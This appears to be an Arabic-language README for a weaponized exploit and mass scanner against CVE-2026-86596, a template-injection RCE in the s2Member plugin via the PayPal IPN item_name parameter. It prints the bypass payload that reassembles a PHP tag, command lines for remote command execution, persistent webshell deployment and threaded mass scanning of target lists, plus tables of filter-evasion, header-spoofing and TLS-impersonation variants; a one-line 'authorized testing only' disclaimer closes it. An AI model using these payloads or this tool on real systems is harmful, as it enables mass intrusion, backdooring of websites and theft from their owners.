ماسح استغلال وفحص جماعي في ملف واحد لـ CVE-2026-86596، وهو تنفيذ تعليمات عن بُعد (RCE) عبر حقن القوالب في s2Member من خلال معامل item_name في PayPal IPN، مع متغيرات تجاوز ونشر webshell.
CVSS 9.8 | CVE-2026-86596 | التصحيح: 261001+
أداة استغلال وفاحص جاهزة للاستخدام في ملف واحد لثغرة حقن القوالب في s2Member عبر معامل IPN المسمى item_name.
$paypal = strip_php_tags_deep($paypal); // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Removes %%x%% -> reassembles <?php
الحمولة: <%%x%%?php system('id'); ?> → تتجاوز strip_php_tags_deep، وتُعاد تجميعها إلى <?php صالحة بعد تنظيف العناصر النائبة.
# Single target RCE
python3 poc.py target.com --cmd "id" --authorized
# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon
# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
| العلم | الوصف |
|---|---|
--cmd "id" | الأمر المراد تنفيذه (أو shell:pass لـ webshell) |
--scan | وضع الفحص الشامل (قراءة الأهداف من ملف) |
--exploit | محاولة الاستغلال أثناء الفحص |
--authorized | مطلوب لأي إجراء استغلال |
--recon | استطلاع كامل قبل الاستغلال |
--item-number | item_number محدد (الافتراضي: اكتشاف تلقائي) |
--proxy-verification | مفتاح s2member_paypal_proxy_verification |
--write-test | كتابة ملف اختبار بدلاً من تنفيذ أمر |
--deploy-shell | نشر webshell دائم |
--shell-path | اسم ملف webshell (الافتراضي: shell.php) |
--full-bypass | تجربة جميع متغيرات التجاوز (بطيء) |
--no-evasion | تعطيل جميع محاولات التجاوز |
--threads N | خيوط الفحص (الافتراضي: 15) |
--output file | إخراج JSON/CSV |
--http-proxy | وكيل HTTP(S) |
--impersonate | بصمة TLS: chrome/firefox/safari/edge |
--insecure | تعطيل التحقق من TLS |
--verbose | إخراج مفصّل |
| الطبقة | المتغيرات |
|---|---|
| الحمولة | 10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64 |
| الكتابة | 4: file_put_contents, fopen/fwrite, shell_exec, b64_decode |
| الصدفة | 5: eval, system, assert, b64_eval, shortcode |
| الطلب | 5: form, multipart, dup, multipart-dup, JSON |
| الترويسات | 7: XFF spoof, PayPal referer/origin, IPN headers, cluster |
| TLS | 4: chrome, firefox, safari, edge (curl_cffi) |
item_number صالح (معرّف منشور/صفحة محمي)do_shortcode() / [s2If php=...]/root/labv/
├── poc.py # Single weaponized exploit + scanner (384 lines)
├── README.md # This file
└── targets.txt # Example target list
للاختبار المصرّح به فقط. يؤكد علم --authorized وجود إذن كتابي.